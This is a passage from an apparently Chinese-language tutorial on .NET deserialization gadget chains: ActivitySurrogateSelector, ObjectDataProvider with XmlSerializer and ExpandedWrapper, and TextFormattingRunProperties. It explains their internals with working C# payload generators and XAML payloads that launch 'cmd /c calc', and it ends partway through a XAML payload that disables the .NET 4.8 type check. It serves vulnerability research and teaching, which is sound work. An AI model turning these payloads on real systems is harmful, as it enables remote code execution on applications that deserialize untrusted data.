                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass : ISerializable
    {
        public byte[] GadgetChains()
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");

            // Build a chain to map a byte array to creating an instance of a class.
            // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!
            List<byte[]> data = new List<byte[]>();
            // exp.dll 即為上面生成的程序集
            data.Add(File.ReadAllBytes(Path.Combine("./exp.dll")));

            var e1 = data.Select(Assembly.Load);
            Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
            var e2 = e1.SelectMany(MyGetTypes);
            var e3 = e2.Select(Activator.CreateInstance);

            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            DesignerVerb verb = new DesignerVerb("XYZ", null);
            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.
            List<object> ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);

            Hashtable ht = new Hashtable();

            // Add two entries to table.
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");

            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);

            ls.Add(ht);

            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);
            //info.AddValue("DataSet.Tables_0", stm.ToArray());
            /*
            BinaryFormatter fmt2 = new BinaryFormatter();
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
            */
            return stm.ToArray();
        }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");
            info.SetType(typeof(System.Windows.Forms.AxHost.State));
            info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }



    class Program
    {

        static void Main(string[] args)
        {                               System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            BinaryFormatter fmt1 = new BinaryFormatter();
            BinaryFormatter fmt2 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, test);
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
        }
    }
}

基本上和我們前面所講的一致。

特殊的是我們構造了一個PayloadClass類,然后序列化PayloadClass 實例,作為最終的payload。

我們在PayloadClass類的GetObjectData() 函數里設置如下:

public void GetObjectData(SerializationInfo info, StreamingContext context)
{
    System.Diagnostics.Trace.WriteLine("In GetObjectData");
    info.SetType(typeof(System.Windows.Forms.AxHost.State));
    info.AddValue("PropertyBagBinary", GadgetChains());
}

關鍵的就是 info.SetType() 和 info.AddValue() 函數的調用。我們之前了解過,GetObjectData用于在序列化時 從對象實例里提取數據。那么這里就相當于序列化的實際上是一個 System.Windows.Forms.AxHost.State類型,并且其PropertyBagBinary 字段被設置為我們生成的payload鏈。為什么要這么做?為什么要多加一層?

看過AxHost.State源碼就明白了:

/**
 * Constructor used in deserialization
 */
protected State(SerializationInfo info, StreamingContext context) {
    SerializationInfoEnumerator sie = info.GetEnumerator();
    if (sie == null) {
        return;
    }
    for (; sie.MoveNext();) {
        if (String.Compare(sie.Name, "Data", true, CultureInfo.InvariantCulture) == 0) {
            ...
        }
        else if (String.Compare(sie.Name, "PropertyBagBinary", true, CultureInfo.InvariantCulture) == 0) {
            try {
                Debug.WriteLineIf(AxHTraceSwitch.TraceVerbose, "Loading up property bag from stream...");
                byte[] dat = (byte[])sie.Value;
                if (dat != null) {
                    this.propBag = new PropertyBagStream();
                    propBag.Read(new MemoryStream(dat));
                }

            }
            catch (Exception e) {
                Debug.Fail("failure: " + e.ToString());
            }
        }
    }
}

開頭注釋已經表明,該State函數用于反序列化時的重構。從SerializationInfo里提取 PropertyBagBinary 字段的值并發送給了proBag.Read()函數。我們再來看 propBag.Read 函數:

internal void Read(Stream stream) {
    BinaryFormatter formatter = new BinaryFormatter();
    try {
        bag = (Hashtable)formatter.Deserialize(stream);
    }
    catch {
        // Error reading.  Just init an empty hashtable.
        bag = new Hashtable();
    }
}

很明顯了,這里將PropertyBagBinary的值傳給了 BinaryFormatter.Deserialize() 。特殊的是反序列化外面加了一個 try catch,這樣的好處就是當我們的payload在反序列化時發生的異常不會被轉發給上一層。

當然,我們也可以在 GadgetChains() 函數末尾,直接反序列化生成的 payload,一樣可以執行代碼,只是執行完代碼后會報錯而已。這也體現了外面再增加一層的作用。

0x50 補丁與繞過

在前文代碼中,無論是序列化還是反序列化之前,我們都掉調用了以下代碼:

System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

這是因為從 .NET 4.8 開始,微軟修復了ActivitySurrogateSelector 的漏洞。具體細節在ObjectSurrogate.GetObjectData() 函數里:

private sealed class ObjectSurrogate : ISerializationSurrogate
{
    public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
    {
        // We only use ObjectSurrogate for ActivityBind and DependecyObject
        if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&
            !(obj is ActivityBind) &&
            !(obj is DependencyObject)
           )
        {
            throw new ArgumentException("obj");
        }
        ...
    }
}

可以看到這里有一個檢查:如果沒有設置AppSettings.DisableActivitySurrogateSelectorTypeCheck 標志,且被序列化的類型既不是ActivityBind 又不是 DependencyObject ,則直接拋出異常。

所以我們前面直接使用ConfigurationManager 設置了這個標志位為true,表示關閉檢查。但是在實際環境中又該怎么辦呢?

Nick Landers 在《Re-Animating ActivitySurrogateSelector》一文中設計了關閉該檢查的payload。該payload已被整合到 ysoserial.net 工具中的ActivitySurrogateDisableTypeCheck 部件。

該payload的原理并不復雜,但設計到ObjectDataProvider、Xaml和TextFormattingRunProperties 多個知識點,所以我們將他放到第四章《TextFormattingRunProperties 工具鏈》里面講解。

三.ObjectDataProvider工具鏈

ObjectDataProvider實例在經XmlSerializer之類的工具反序列化時,可以觸發執行被包含類型的指定函數。

0x10 ObjectDataProvider介紹

ObjectDataProvider的官方介紹是:“包裝和創建 可以用作綁定源的對象”。嗯,完全沒明白。。。

那么先來一小段代碼看一下 ObjectDataProvider的特點:

var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new System.Diagnostics.Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";

我們將ObjectDataProvider 實例的 ObjectInstance字段設置為一個Process實例,然后將MethodParameters 字段設置為"calc",然后將MethodName字段設置為"Start"。當你運行完這段代碼,你會發現彈出了一個計算器。

看起來是似乎是以 ObjectInstance的值 為對象實例,以MethodParameters的值為方法,以MethodParameters的值為方法參數,進行了一次函數調用。

那么其觸發函數執行原理是什么?這么設計的目的又是什么?

0x11 ObjectDataProvider 原理

使用dnspy調試,給要執行的函數下個斷點:

查看調用堆棧,可以看到調用路徑是 Refresh() -> BeginQuery() -> QueryWorker() -> InvokeMethodOnInstance() 。

InvokeMethodOnInstance() 函數名已經揭露了一切。查看一下它的代碼:

object InvokeMethodOnInstance(out Exception e)
{
    object  data = null;
    string  error   = null; // string that describes known error
    e = null;

    Debug.Assert(_objectType != null);

    object[] parameters = new object[_methodParameters.Count];
    _methodParameters.CopyTo(parameters, 0);

    ...
    try
    {
        data = _objectType.InvokeMember(MethodName,
            s_invokeMethodFlags, null, _objectInstance, parameters,
            System.Globalization.CultureInfo.InvariantCulture);
    };
    ...
}

通過反射調用了 MethodName字段中存儲的目標函數。

通過調用路徑我們知道,InvokeMethodOnInstance() 的調用源自于 Refresh() 函數。我們看一下 Refresh() 在什么情況下被調用:

類似于上面這種,在ObjectType、ObjectInstance、MethodName 屬性的set方法中都調用Refresh() 函數。很明顯,當我們修改或設置這些屬性時,會觸發調用Refresh() 函數,以進一步檢查是否需要調用MethodName中設置的目標函數。

除了set方法里,還有以下兩處地方調用了Refresh() 函數:

下面是ObjectDataProvider 的構造函數:

ParameterCollectionChanged 是一個委托類型:

internal delegate void ParameterCollectionChanged(ParameterCollection parameters);

而ParameterCollection() 類型則繼承于 Collection<object> 類型,并且重載了其ClearItems()、 InsertItem()、RemoveItem()、SetItem()方法,在其中添加了對 OnCollectionChanged()的調用:

這樣當ParameterCollection實例(如字段_methodParameters)調用Add方法時,就會調用InsertItem() 函數,進而調用OnCollectionChanged() 函數,再進而調用Refresh() 函數,然后就會檢查是否需要執行目標函數了。

0x12 ObjectDataProvider 正常用法

看完ObjectDataProvider的特點和原理,我不禁要問這個類到底是用來干什么的?所謂 “包裝和創建 可以用作綁定源的對象” 是什么意思?

首先推薦看這篇《WPF之Binding深入探討》,看完后會對綁定有一個具體的理解。下面我來做一個簡陋的總結:

我們以UI界面顯示數據為例:數據源是相對于UI界面來說的。一個UI界面需要展示數據,該數據可能來自于某個類的某個屬性。為了讓該屬性在變化時自動反映在UI界面上,我們采用Binding的方式將數據源與目標進行綁定。Biinding是一種自動機制,會監聽數據源的PropertyChanged事件。當數據源的值發生變化時,就會激發PropertyChanged事件,Binding接收到事件后就會通知Binding的目標端(即UI界面)展示新的值。

如果數據源不是通過屬性,而是通過方法暴漏給外界的時候,我們就使用ObjectDataProvider將其包裝為數據源。所以ObjectDataProvider 會監測 MethodParameters 屬性的修改,同時也會監測ObjectType、ObjectInstance、MethodName 的修改,以對方法的變化隨時做出響應。當以上這些屬性修改時,就會重新調用目標函數。

通過上面簡陋的描述,我們算是對ObjectDataProvider 有了一個具體的認識:我們使用ObjectDataProvider 指定某個實例的某個方法,當添加或修改methodParameters 時就會觸發執行目標函數了。如果我們在反序列化時也能觸發目標函數的調用,就可以實現代碼執行了。

0x20 序列化 ObjectDataProvider

0x21 不成功的嘗試

盡管前輩們早已做出了完整的ObjectDataProvider利用鏈,但我還是想再做一些蹩腳的嘗試。

首先我們知道 ObjectDataProvider類沒有 [Seriable] 特性,所以它是一個不可序列化類,不能使用BinaryFormatter 之類的工具進行序列化(當然我們還可以使用XmlSerializer之類的工具進行序列化)。但我們在上一篇關于ActivitySurrogateSelectorGenerator工具鏈的文章中知道,使用 ObjectSurrogate 作為代理器可以序列化原本不可序列化的類。那如果我們使用這種方式去序列化 ObjectDataProvider 會怎么樣呢?測試代碼如下:

class MySurrogateSelector : SurrogateSelector
{
    public override ISerializationSurrogate GetSurrogate(Type type,
        StreamingContext context, out ISurrogateSelector selector)
    {
        selector = this;
        if (!type.IsSerializable)
        {
            Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
            return (ISerializationSurrogate)Activator.CreateInstance(t);
        }

        return base.GetSurrogate(type, context, out selector);
    }
}

static void Surrogatetest()
{
    var objDat = new ObjectDataProvider();
    objDat.ObjectInstance = new System.Diagnostics.Process();
    objDat.MethodParameters.Add("calc");
    objDat.MethodName = "Start";

    System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
    BinaryFormatter fmt = new BinaryFormatter();
    MemoryStream stm = new MemoryStream();

    fmt.SurrogateSelector = new MySurrogateSelector();
    fmt.Serialize(stm, objDat);
    stm.Position = 0;

    var fmt2 = new BinaryFormatter();
    ObjectDataProvider result = (ObjectDataProvider)fmt2.Deserialize(stm);
    //result.Refresh();
}

這里我直接用ObjectDataProvider封裝了一個 Process 實例,并以“calc"為參數調用其Start函數。序列化能正常進行,反序列化也可以正常完成,但遺憾的是在反序列化完成后沒有觸發Start 函數的調用。根據前面的分析,我們可以猜測到應該是沒有調用Refresh() 函數導致的,那么我們就需要調試一下看看BinaryFormatter 在反序列化時是如何給字段賦值的。

可以看到,這里的rtFieldInfo 指向了 ObjectDataProvider 的 _mehodName 字段,直接通過UnsafeSetValue 設置該字段的值。由于不是通過原始的屬性或者Add方法添加值,導致了無法觸發 Refresh() 函數,也就無法調用目標函數了。

0x22 使用XmlSerializer進行序列化

先了解一下XmlSerializer 的一般用法。

下面是我們自己寫的一個Claculator類,我們使用XmlSerializer 序列化其實例。

[XmlRoot]
public class Calculator
{

    private string _name;
    [XmlAttribute]
    public string Name { get => _name; set => _name = value; }

    public int Test(string arg1, string arg2)
    {
        Console.WriteLine("hello world\n");
        return 1;
    }
}

序列化代碼:

static void normalXml()
{
    var cal = new Calculator();
    cal.Name = "test";

    TextWriter fs = new StreamWriter("./xmlser.txt");
    XmlSerializer serializers = new XmlSerializer(typeof(Calculator));
    serializers.Serialize(fs, cal);
    fs.Close();

    var fr = new FileStream("./xmlser.txt", FileMode.Open);
    var deserializers = new XmlSerializer(typeof(Calculator));
    var result = (Calculator)deserializers.Deserialize(fr);
    Console.WriteLine(result.Name);
    fr.Close();
}

上面的代碼中我們以一個Calculator 實例為目標對象,對其進行序列化和反序列化。

這里有一個關鍵點就是以 XmlSerializer.XmlSerializer(Type) 的方式初始化XmlSerializer實例,需要傳入被序列化對象的類型。根據官方文檔,在使用這種構造函數時,XML 序列化基礎結構會動態生成程序集以序列化和反序列化指定的類型

在初始化XmlSerializer實例時,傳入的Type類型參數保證了XmlSerializer 對序列化中涉及到的類型都已知,并生成相應的動態程序集。但是假如序列化目標對象的某個字段實際值是該字段聲明類型的派生類型,比如,某字段聲明為object類型(我們知道c#里所有類型都繼承于object類型),然而實際值為其他類型,就會導致報錯。下面我們序列化ObjectDataProvider 的時候就會遇到這種情況。

我們的目標是使用ObjectDataProvider 封裝Calculator 實例,并在反序列化時自動觸發Calculator 的Test 函數,下面是測試代碼(為什么不直接用ObjectDataProvider 封裝 System.Diagnostics.Process 實例?因為使用XmlSerializer 序列化時會報接口無法序列化的錯誤):

static void test()
{
    var objDat = new ObjectDataProvider();
    objDat.ObjectInstance = new Calculator();
    objDat.MethodParameters.Add("test1");
    objDat.MethodParameters.Add("test2");
    objDat.MethodName = "Test";

    TextWriter fs = new StreamWriter("./xmlser.txt");
    XmlSerializer serializers = new XmlSerializer(typeof(ObjectDataProvider));
    serializers.Serialize(fs, objDat);
    fs.Close();
    var fr = new FileStream("./xmlser.txt", FileMode.Open);

    var deserializers = new XmlSerializer(typeof(ObjectDataProvider));
    var result = deserializers.Deserialize(fr);
    fr.Close();
}

我們以ObjectDataProvider實例作為序列化目標對象,并且在初始化XmlSerializer時傳入ObjectDataProvider類型。但是在執行時會報如下錯誤:

原因便是ObjectInstance 字段聲明為object類型,但實際值為Calculator 類型,導致生成的動態程序集無法完成序列化:

這時有兩種解決方法:

第一種就是使用XmlSirializer 其他的構造函數,使用以下語句進行初始化:

Type[] types = new Type[] { typeof(Calculator) };
XmlSerializer serializers = new XmlSerializer(typeof(ObjectDataProvider), types);

傳給構造函數的第二個參數表示要序列化的其他對象類型的 Type 數組。但是這種解決方法不適合反序列化漏洞利用,我們無法保證目標程序使用這種構造函數,也無法保證我們可以控制兩個參數。

第二種就是找一個封裝類型。比如下面這樣的:

public class Wrapper<A, B>
{
    public A contentA{ get; set; }
    public B contentB{ get; set; }

}

Wrapper是一個我們自己設想的類型,它使用了泛型的用法,這樣我們可以任意設置它的兩個屬性的類型為我們需要的目標類型。在以typeof(Wrapper) 為參數初始化 XmlSerializer 時,就保證了傳入需要的所有類型。測試代碼如下:

static void ExpandTest()
{
    Wrapper<Calculator, ObjectDataProvider> wrapper = new Wrapper<Calculator, ObjectDataProvider>();
    wrapper.contentB= new ObjectDataProvider();
    wrapper.contentB.ObjectInstance = new Calculator();
    wrapper.contentB.MethodName = "Test";
    wrapper.contentB.MethodParameters.Add("first");
    wrapper.contentB.MethodParameters.Add("second");

    Console.WriteLine(typeof(Wrapper<Calculator, ObjectDataProvider>));
    TextWriter fs = new StreamWriter("./ExpandTest.txt");

    XmlSerializer serializers = new XmlSerializer(typeof(Wrapper<Calculator, ObjectDataProvider>));
    serializers.Serialize(fs, wrapper);
    fs.Close();

    FileStream fr = new FileStream("./ExpandTest.txt", FileMode.Open);
    var deserializers = new XmlSerializer(typeof(Wrapper<Calculator, ObjectDataProvider>));
    deserializers.Deserialize(fr);
    fr.Close();
}

上面的代碼在反序列化時可以正常觸發Calculator 的 Test函數。

在現實中,與我們設想的封裝類型相似的就是 ExpandedWrapper類

[EditorBrowsable(EditorBrowsableState.Never)]
public sealed class ExpandedWrapper<TExpandedElement, TProperty0> : ExpandedWrapper<TExpandedElement>
{
    public ExpandedWrapper();
    public TProperty0 ProjectedProperty0 { get; set; }
    protected override object InternalGetExpandedPropertyValue(int nameIndex);
}

相似的封裝過程如下:

static void ExpandTest()
{
    ExpandedWrapper<Calculator, ObjectDataProvider> wrapper = new ExpandedWrapper<Calculator, ObjectDataProvider>();
    wrapper.ProjectedProperty0 = new ObjectDataProvider();
    wrapper.ProjectedProperty0.ObjectInstance = new Calculator();
    wrapper.ProjectedProperty0.MethodName = "Test";
    wrapper.ProjectedProperty0.MethodParameters.Add("first");
    wrapper.ProjectedProperty0.MethodParameters.Add("second");

    TextWriter fs = new StreamWriter("./ExpandTest.txt");
    Console.WriteLine(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));

    XmlSerializer serializers = new XmlSerializer(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
    serializers.Serialize(fs, wrapper);
    fs.Close();

    FileStream fr = new FileStream("./ExpandTest.txt", FileMode.Open);
    var deserializers = new XmlSerializer(typeof(ExpandedWrapper<Calculator, ObjectDataProvider>));
    deserializers.Deserialize(fr);
    fr.Close();
}

在第一次看到使用 ExpandedWrapper 來封裝時,我很奇怪到底是什么在起作用使得XmlSerializer 能夠正常序列化下去,后來才發現只是因為它是一個有兩個類型參數的泛型類。假如需要,我們還可以找有3個、4個類型參數的泛型類,比如:

ExpandedWrapper ExpandedWrapper

這個類最多支持8個類型參數

此時有一個問題無法忽略,為什么XmlSerializer 可以在反序列化ObjectDataProvider 的時候觸發函數執行?之前用BinaryFormatte 時明明還不可以,根據我們對ObjectDataProvider 的了解,難道是反序列化時使用了Add方法去添加參數?

0x23 XmlSerializer反序列化細節

XmlSerializer 在初始化的時候會自動生成一個動態程序集加載在內容中,并調用該程序集里自動生成的代碼完成反序列化過程。下面便是該程序集:

可以看到動態程序集里有一個XmlSerializationReaderExpandedWrapper2 類,專門用于在反序列化時讀取數據。 相應的,也有一個XmlSerializationWriterExpandedWrapper2 類專門用于在序列化時寫入數據。

下面我們看一下反序列化的過程:

在Read8_Item() 函數里,直接初始化了一個 ExpendedWrapper 實例,目前它還是空的,但是后續會往里填數據。這個實例就是反序列化生成的實例。

仍舊是在Read8_Item() 函數里, 這里調用Read7_ObjectDataProvider() 函數生成一個ObjectDataProvider 實例,并賦給了expandedWrapper 的 ProjectedProperty0 字段。所以Read7_ObjectDataProvider() 肯定是用于讀取數據并初始化一個ObjectDataProvider實例,跟進去:

忽略無關的部分,我們可以看到,這里是通過Add方法來向MethodParameters 里添加參數的。

該Add方法會進入Collection 的Add方法,然后調用InsertItem() ,然后調用前面說過的OnCollectionChanged函數,然后就會調用Refresh()函數,進而檢查是否需要調用目標 Test() 函數。當Add第二個參數時,就會調用Test 函數。

所以以上就是XmlSerializer 可以在反序列化ObjectDataProvider時觸發函數執行的原因。

0x24 替換Claculator類

前面我們已經可以在反序列化時觸發執行Calculator 類的Test 方法。但是現實中的目標環境是沒有Calculator 類的,我們必須找到一個普遍使用的類,并且調用其某個函數(傳給該函數的參數可控),可以實現代碼執行(最理想的應當是Process類,但是它不能用)。

替換方案有多種選擇,ysoserial.NET 里提供了LosFormatter 和 XamlReader 兩種方式。

但是我仔細看了一下,發現它的思路是這樣的,將Calculator 類替換為 LosFormatter 或者 XamlReader類,將要調用的函數指定為 LosFormatter 的 Deserializer函數 或者是XamlReader 的Parse 函數,然后將參數替換為LosFormattter 或者 XamlReader 的反序列化漏洞payload。

簡單的說,就是在反序列化 XmlSerializer payload(本文的目標) 時,借助ObjectDataProvider 調用 LosFormatter 的反序列化函數,然后把LosFormatter 的反序列化Payload 傳給這個函數,然后利用LosFormatter的反序列化漏洞執行代碼,XamlReader 方案也是類似。

套娃啊,,,當你看過XamlReader 的反序列化payload后這個感覺會更強烈:

<ResourceDictionary  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" >
    <ObjectDataProvider ObjectType = ""{x:Type sd:Process}"" MethodName=""Start"" x:Key=""powershell"">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd</System:String>
            <System:String>/c calc</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

很明顯,這里XamlReader 的反序列化payload 也使用了ObjectDataProvider工具,確實挺套娃的。整個流程大概如下:

XmlSerializer類 -> Deserizalize方法 -> ObjectDataProvider封裝 -> XamlReader類 -> Parse方法 -> ObjectDataProvider封裝 -> Process類 -> start方法 -> calc

在借助ObjectDataProvider 生成payload時,使用XamlReader 與 XmlSerializer 最大不同就是XamlReader 可以序列化Process,所以生成它的payload就更加簡單一些。 由于過程類似,這里我們就不再多說,主要是需要了解一下Xaml 語法。下面貼出一種生成Xaml payload的代碼(ysoserial.net 中提供了多種方式生成XamlReader的Payload,想要了解的可以自己去看一下):

static void xamltest()
{
    var psi = new ProcessStartInfo();
    psi.FileName = "calc";
    psi.Arguments = "test";
    // 去掉多余的環境變量
    StringDictionary dict = new StringDictionary();
    psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);

    var p = new Process();
    p.StartInfo = psi;

    var obj = new ObjectDataProvider();
    obj.MethodName = "Start";
    obj.IsInitialLoadEnabled = false;
    obj.ObjectInstance = p;


    XmlWriterSettings settings = new XmlWriterSettings();
    settings.Indent = true;
    using (XmlWriter writer = XmlWriter.Create("test.xaml", settings))
    {
        System.Windows.Markup.XamlWriter.Save(obj, writer);
    }
    string text = File.ReadAllText("test.xaml");
    Console.WriteLine(text);
}

看完上面的內容相信你已經可以寫出生成XmlSerializer 反序列化Payload 的代碼了,這個小任務就留給你自己完成吧。

在實際利用中,XmlSerializer反序列化漏洞的關鍵點是需要控制XmlSerializer 初始化時傳進去的Type類型。

四.TextFormattingRunProperties 工具鏈

TextFormattingRunProperties 的特點就是將Xaml 的 payload 封裝為BinaryFormatter 之類序列化器的payload

0x10 TextFormattingRunProperties 介紹

TextFormattingRunProperties 類位于命名空間:Microsoft.VisualStudio.Text.Formatting。其在Microsoft.VisualStudio.Text.UI.Wpf.dll 和 Microsoft.PowerShell.Editor.dll 程序集中都有實現,前者需要安裝Visual Studio ,而后者則是PowerShell 自帶。所以目標環境沒有安裝VS也是可以使用這個類的。

0x20 使用TextFormattingRunProperties 進行封裝

使用TextFormattingRunProperties進行封裝與我們在《ActivitySurrogateSelectorGenerator 工具鏈》中提到的AxHost.State 極其相似。原理上就是新建一個類型,借助GetObjectData() 來將源數據封裝到TextFormattingRunProperties序列化數據里,下面是一個樣例:

[Serializable]
public class PayloadClass : ISerializable
{
    string _xamlPayload;
    public PayloadClass(string payload)
    {
        _xamlPayload = payload;
    }

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(TextFormattingRunProperties));
        info.AddValue("ForegroundBrush", _xamlPayload);
    }
}

代碼里我們新建了一個payloadClass 類,其繼承于ISerializable。關于該接口,我們在《ActivitySurrogateSelectorGenerator 工具鏈》 有過詳細介紹。該接口定義的GetObjectData() 方法用于在序列化時從對象里提取數據并存儲到 SerializationInfo 對象里,然后再使用這個SerializationInfo 對象進行后續的序列化。

在這里的GetObjectData()方法里,我們直接調用SerializationInfo 的 SetType() 和 AddValue() 方法來設置類型和數據。但是我們將類型設置為 TextFormattingRunProperties,并添加了ForegroundBrush 字段,其值設置為xaml Payload。這樣做的結果就是,當我們使用BinaryFormatter 去序列化PayloadClass 的實例時,生成的序列化數據和PayloadClass 完全沒關系,而是只和我們設置的 TextFormattingRunProperties 類型有關。

下面是進行序列化的代碼:

static string GenerateTextFormattingRunPropertiesPayload()
{
    string payload = 
@"<ResourceDictionary  xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" >
    <ObjectDataProvider ObjectType = ""{x:Type sd:Process}"" MethodName=""Start"" x:Key=""powershell"">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd</System:String>
            <System:String>/c calc</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";
    var pc = new PayloadClass(payload);

    var bfmt = new BinaryFormatter();
    var stm = new MemoryStream();
    bfmt.Serialize(stm, pc);
    return Convert.ToBase64String(stm.ToArray());
}

我們使用《ObjectDataProvider工具鏈》中提到的Xalm Payload 作為原始Payload,然后用 BinaryFormatter 去序列化 PayloadClass 實例。這樣最終序列化出的結果就是 TextFormattingRunProperties封裝過的 Xaml Payload。

但是這樣做的理由是什么?

為什么要 用TextFormattingRunProperties 去封裝 Xaml Payload?

為什么是 Xaml Payload?

為什么要將原始payload 存放在“ForegroundBrush” 字段中?

0x30 TextFormattingRunProperties 反序列化細節

使用以下代碼去反序列化上一節生成的payload:

static void TestPayload(string payload)
{
    var bfmt = new BinaryFormatter();
    var stm = new MemoryStream(Convert.FromBase64String(payload));
    bfmt.Deserialize(stm);
}

彈出計算器后會報一個錯誤,如下:

中間到底發生了什么?我們使用dnspy 調試一下:

發生異常時棧回溯如下:

我們重新調試,單步跟入SerializationInvoke(),發現進入了下面的這個函數:

很明顯,這個函數用于在反序列化時重構TextFormattingRunProperties實例,數據都是從SerializationInfo 對象里提取的。重點在于這個 GetObjectFromSerializationInfo() 函數,根據字段名從 info 提取數據。我們進去看看:

這里就很簡單了,提取出string 后直接交給XamlReader.Parse() 用于解析。XamlReader.Parse() 函數我們在《ObjectDataProvider工具鏈》里簡單介紹過,借助ObjectDataProvider 的Xaml payload 可以實現代碼執行。也就是說,我們在使用BinaryFormatter 反序列化 TextFormattingRunProperties 封裝的數據時,最終會落到XamlReader 進行反序列化。所以TextFormattingRunProperties 的作用就是將Xaml Payload 封裝為 BinaryFormatter(也包括losformatter、SoapFormatter) Payload,而且由于Xaml Payload較為短小的特點,生成的TextFormattingRunProperties payload 也是 BinaryFormatter payload中最短的。這就是我們為什么要使用TextFormattingRunProperties 封裝Xaml payload。

那么為什么我們在VS中會報錯呢?因為XamlReader.Parse() 解析出來的是一個ResourceDictionary 類型實例,我們將其賦值給Media.Brush 類型的變量,所以會導致報錯。

0x40 ActivitySurrogateDisableTypeCheck 工具

在《ActivitySurrogateSelectorGenerator 工具鏈》 一章中我們曾經提到過ActivitySurrogateSelector 從.NET 4.8之后的補丁問題。

Nick Landers 在《Re-Animating ActivitySurrogateSelector》一文中設計了關閉該檢查的payload。該payload已被整合到 ysoserial.net 工具中的ActivitySurrogateDisableTypeCheck 部件。這個部件就是利用了TextFormattingRunProperties 來封裝Xaml Payload。封裝的Xaml payload 如下,用于關閉 類型檢查:

string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">
    <ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType"">
        <ObjectDataProvider.MethodParameters>
            <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField"">
        <ObjectDataProvider.MethodParameters>
            <s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
            <r:BindingFlags>40</r:BindingFlags>
